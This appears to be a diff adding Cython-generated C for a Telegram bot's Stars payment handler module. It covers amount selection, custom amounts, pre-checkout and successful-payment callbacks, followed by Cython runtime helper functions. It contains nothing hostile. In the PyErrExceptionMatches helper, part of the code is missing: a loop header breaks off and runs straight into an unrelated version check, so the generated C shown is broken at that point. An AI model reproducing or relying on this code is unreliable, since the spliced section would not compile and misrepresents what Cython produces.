(__Pyx_SetNameInClass(__pyx_t_5, __pyx_n_s_entering_custom_amount_stars, __pyx_t_2) < 0) __PYX_ERR(0, 29, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/stars_pay.py":26 + * + * + * class ReplenishBalanceState(StatesGroup): # <<<<<<<<<<<<<< + * choosing_amount_stars = State() + * waiting_for_payment_confirmation_stars = State() + */ + __pyx_t_2 = __Pyx_Py3ClassCreate(__pyx_t_4, __pyx_n_s_ReplenishBalanceState, __pyx_t_3, __pyx_t_5, NULL, 0, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_ReplenishBalanceState, __pyx_t_2) < 0) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":32 + * + * + * @router.callback_query(F.data == "pay_stars") # <<<<<<<<<<<<<< + * async def process_callback_pay_stars( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_data); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyObject_RichCompare(__pyx_t_5, __pyx_n_u_pay_stars, Py_EQ); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 32, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 32, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 32, __pyx_L1_error) + __pyx_t_4 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_9stars_pay_1process_callback_pay_stars, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_callback_pay_stars, NULL, __pyx_n_s_handlers_payments_stars_pay, __pyx_d, ((PyObject *)__pyx_codeobj_)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_4, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_callback_pay_stars, __pyx_t_3) < 0) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":102 + * + * + * @router.callback_query(F.data.startswith("stars_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_data); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_startswith); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__32, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 102, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 102, __pyx_L1_error) + __pyx_t_4 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_9stars_pay_4process_amount_selection, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_amount_selection, NULL, __pyx_n_s_handlers_payments_stars_pay, __pyx_d, ((PyObject *)__pyx_codeobj__7)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_4, __pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_amount_selection, __pyx_t_5) < 0) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/stars_pay.py":155 + * + * + * @router.callback_query(F.data == "enter_custom_amount_stars") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_router); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_F); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = PyObject_RichCompare(__pyx_t_3, __pyx_n_u_enter_custom_amount_stars, Py_EQ); __Pyx_XGOTREF(__pyx_t_5); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 155, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 155, __pyx_L1_error) + __pyx_t_4 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_9stars_pay_7process_enter_custom_amount, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_enter_custom_amount, NULL, __pyx_n_s_handlers_payments_stars_pay, __pyx_d, ((PyObject *)__pyx_codeobj__19)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_4, __pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_enter_custom_amount, __pyx_t_5) < 0) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/stars_pay.py":170 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_stars) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_router); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 170, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_message); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 170, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 170, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_entering_custom_amount_stars); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 170, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 170, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 170, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_message, __pyx_kp_s_types_Message) < 0) __PYX_ERR(0, 170, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 170, __pyx_L1_error) + __pyx_t_4 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_9stars_pay_10process_custom_amount_input, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_custom_amount_input, NULL, __pyx_n_s_handlers_payments_stars_pay, __pyx_d, ((PyObject *)__pyx_codeobj__23)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 170, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_4, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 170, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_custom_amount_input, __pyx_t_3) < 0) __PYX_ERR(0, 170, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":208 + * + * + * @router.pre_checkout_query() # <<<<<<<<<<<<<< + * async def on_pre_checkout_query(pre_checkout_query: PreCheckoutQuery): + * await pre_checkout_query.answer(ok=True) + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 208, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_pre_checkout_query); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 208, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 208, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 208, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_pre_checkout_query, __pyx_n_s_PreCheckoutQuery) < 0) __PYX_ERR(0, 208, __pyx_L1_error) + __pyx_t_5 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_9stars_pay_13on_pre_checkout_query, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_on_pre_checkout_query, NULL, __pyx_n_s_handlers_payments_stars_pay, __pyx_d, ((PyObject *)__pyx_codeobj__27)); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 208, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_5, __pyx_t_4); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 208, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_on_pre_checkout_query, __pyx_t_4) < 0) __PYX_ERR(0, 208, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/stars_pay.py":213 + * + * + * @router.message(F.successful_payment) # <<<<<<<<<<<<<< + * async def on_successful_payment( + * message: types.Message, + */ + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_router); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_message); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_F); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_successful_payment); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_message, __pyx_kp_s_types_Message) < 0) __PYX_ERR(0, 213, __pyx_L1_error) + __pyx_t_5 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_9stars_pay_16on_successful_payment, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_on_successful_payment, NULL, __pyx_n_s_handlers_payments_stars_pay, __pyx_d, ((PyObject *)__pyx_codeobj__28)); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_5, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_on_successful_payment, __pyx_t_3) < 0) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":1 + * from typing import Any # <<<<<<<<<<<<<< + * + * from aiogram import F, Router, types + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_test, __pyx_t_3) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /*--- Wrapped vars code ---*/ + + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_7); + if (__pyx_m) { + if (__pyx_d && stringtab_initialized) { + __Pyx_AddTraceback("init handlers.payments.stars_pay", __pyx_clineno, __pyx_lineno, __pyx_filename); + } + #if !CYTHON_USE_MODULE_STATE + Py_CLEAR(__pyx_m); + #else + Py_DECREF(__pyx_m); + if (pystate_addmodule_run) { + PyObject *tp, *value, *tb; + PyErr_Fetch(&tp, &value, &tb); + PyState_RemoveModule(&__pyx_moduledef); + PyErr_Restore(tp, value, tb); + } + #endif + } else if (!PyErr_Occurred()) { + PyErr_SetString(PyExc_ImportError, "init handlers.payments.stars_pay"); + } + __pyx_L0:; + __Pyx_RefNannyFinishContext(); + #if CYTHON_PEP489_MULTI_PHASE_INIT + return (__pyx_m != NULL) ? 0 : -1; + #elif PY_MAJOR_VERSION >= 3 + return __pyx_m; + #else + return; + #endif +} +/* #### Code section: cleanup_globals ### */ +/* #### Code section: cleanup_module ### */ +/* #### Code section: main_method ### */ +/* #### Code section: utility_code_pragmas ### */ +#ifdef _MSC_VER +#pragma warning( push ) +/* Warning 4127: conditional expression is constant + * Cython uses constant conditional expressions to allow in inline functions to be optimized at + * compile-time, so this warning is not useful + */ +#pragma warning( disable : 4127 ) +#endif + + + +/* #### Code section: utility_code_def ### */ + +/* --- Runtime support code --- */ +/* Refnanny */ +#if CYTHON_REFNANNY +static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname) { + PyObject *m = NULL, *p = NULL; + void *r = NULL; + m = PyImport_ImportModule(modname); + if (!m) goto end; + p = PyObject_GetAttrString(m, "RefNannyAPI"); + if (!p) goto end; + r = PyLong_AsVoidPtr(p); +end: + Py_XDECREF(p); + Py_XDECREF(m); + return (__Pyx_RefNannyAPIStruct *)r; +} +#endif + +/* PyErrExceptionMatches */ +#if CYTHON_FAST_THREAD_STATE +static int __Pyx_PyErr_ExceptionMatchesTuple(PyObject *exc_type, PyObject *tuple) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(tuple); +#if PY_MAJOR_VERSION >= 3 + for (i=0; i= 0x030C00A6 + PyObject *current_exception = tstate->current_exception; + if (unlikely(!current_exception)) return 0; + exc_type = (PyObject*) Py_TYPE(current_exception); + if (exc_type == err) return 1; +#else + exc_type = tstate->curexc_type; + if (exc_type == err) return 1; + if (unlikely(!exc_type)) return 0; +#endif + #if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(exc_type); + #endif + if (unlikely(PyTuple_Check(err))) { + result = __Pyx_PyErr_ExceptionMatchesTuple(exc_type, err); + } else { + result = __Pyx_PyErr_GivenExceptionMatches(exc_type, err); + } + #if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(exc_type); + #endif + return result; +} +#endif + +/* PyErrFetchRestore */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { +#if PY_VERSION_HEX >= 0x030C00A6 + PyObject *tmp_value; + assert(type == NULL || (value != NULL && type == (PyObject*) Py_TYPE(value))); + if (value) { + #if CYTHON_COMPILING_IN_CPYTHON + if (unlikely(((PyBaseExceptionObject*) value)->traceback != tb)) + #endif + PyException_SetTraceback(value, tb); + } + tmp_value = tstate->current_exception; + tstate->current_exception = value; + Py_XDECREF(tmp_value); + Py_XDECREF(type); + Py_XDECREF(tb); +#else + PyObject *tmp_type, *tmp_value, *tmp_tb; + tmp_type = tstate->curexc_type; + tmp_value = tstate->curexc_value; + tmp_tb = tstate->curexc_traceback; + tstate->curexc_type = type; + tstate->curexc_value = value; + tstate->curexc_traceback = tb; + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); +#endif +} +static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { +#if PY_VERSION_HEX >= 0x030C00A6 + PyObject* exc_value; + exc_value = tstate->current_exception; + tstate->current_exception = 0; + *value = exc_value; + *type = NULL; + *tb = NULL; + if (exc_value) { + *type = (PyObject*) Py_TYPE(exc_value); + Py_INCREF(*type); + #if CYTHON_COMPILING_IN_CPYTHON + *tb = ((PyBaseExceptionObject*) exc_value)->traceback; + Py_XINCREF(*tb); + #else + *tb = PyException_GetTraceback(exc_value); + #endif + } +#else + *type = tstate->curexc_type; + *value = tstate->curexc_value; + *tb = tstate->curexc_traceback; + tstate->curexc_type = 0; + tstate->curexc_value = 0; + tstate->curexc_traceback = 0; +#endif +} +#endif + +/* PyObjectGetAttrStr */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name) { + PyTypeObject* tp = Py_TYPE(obj); + if (likely(tp->tp_getattro)) + return tp->tp_getattro(obj, attr_name); +#if PY_MAJOR_VERSION < 3 + if (likely(tp->tp_getattr)) + return tp->tp_getattr(obj, PyString_AS_STRING(attr_name)); +#endif + return PyObject_GetAttr(obj, attr_name); +} +#endif + +/* PyObjectGetAttrStrNoError */ +#if __PYX_LIMITED_VERSION_HEX < 0x030d00A1 +static void __Pyx_PyObject_GetAttrStr_ClearAttributeError(void) { + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + if (likely(__Pyx_PyErr_ExceptionMatches(PyExc_AttributeError))) + __Pyx_PyErr_Clear(); +} +#endif +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStrNoError(PyObject* obj, PyObject* attr_name) { + PyObject *result; +#if __PYX_LIMITED_VERSION_HEX >= 0x030d00A1 + (void) PyObject_GetOptionalAttr(obj, attr_name, &result); + return result; +#else +#if CYTHON_COMPILING_IN_CPYTHON && CYTHON_USE_TYPE_SLOTS && PY_VERSION_HEX >= 0x030700B1 + PyTypeObject* tp = Py_TYPE(obj); + if (likely(tp->tp_getattro == PyObject_GenericGetAttr)) { + return _PyObject_GenericGetAttrWithDict(obj, attr_name, NULL, 1); + } +#endif + result = __Pyx_PyObject_GetAttrStr(obj, attr_name); + if (unlikely(!result)) { + __Pyx_PyObject_GetAttrStr_ClearAttributeError(); + } + return result; +#endif +} + +/* GetBuiltinName */ +static PyObject *__Pyx_GetBuiltinName(PyObject *name) { + PyObject* result = __Pyx_PyObject_GetAttrStrNoError(__pyx_b, name); + if (unlikely(!result) && !PyErr_Occurred()) { + PyErr_Format(PyExc_NameError, +#if PY_MAJOR_VERSION >= 3 + "name '%U' is not defined", name); +#else + "name '%.200s' is not defined", PyString_AS_STRING(name)); +#endif + } + return result; +} + +/* TupleAndListFromArray */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE void __Pyx_copy_object_array(PyObject *const *CYTHON_RESTRICT src, PyObject** CYTHON_RESTRICT dest, Py_ssize_t length) { + PyObject *v; + Py_ssize_t i; + for (i = 0; i < length; i++) { + v = dest[i] = src[i]; + Py_INCREF(v); + } +} +static CYTHON_INLINE PyObject * +__Pyx_PyTuple_FromArray(PyObject *const *src, Py_ssize_t n) +{ + PyObject *res; + if (n <= 0) { + Py_INCREF(__pyx_empty_tuple); + return __pyx_empty_tuple; + } + res = PyTuple_New(n); + if (unlikely(res == NULL)) return NULL; + __Pyx_copy_object_array(src, ((PyTupleObject*)res)->ob_item, n); + return res; +} +static CYTHON_INLINE PyObject * +__Pyx_PyList_FromArray(PyObject *const *src, Py_ssize_t n) +{ + PyObject *res; + if (n <= 0) { + return PyList_New(0); + } + res = PyList_New(n); + if (unlikely(res == NULL)) return NULL; + __Pyx_copy_object_array(src, ((PyListObject*)res)->ob_item, n); + return res; +} +#endif + +/* BytesEquals */ +static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals) { +#if CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API + return PyObject_RichCompareBool(s1, s2, equals); +#else + if (s1 == s2) { + return (equals == Py_EQ); + 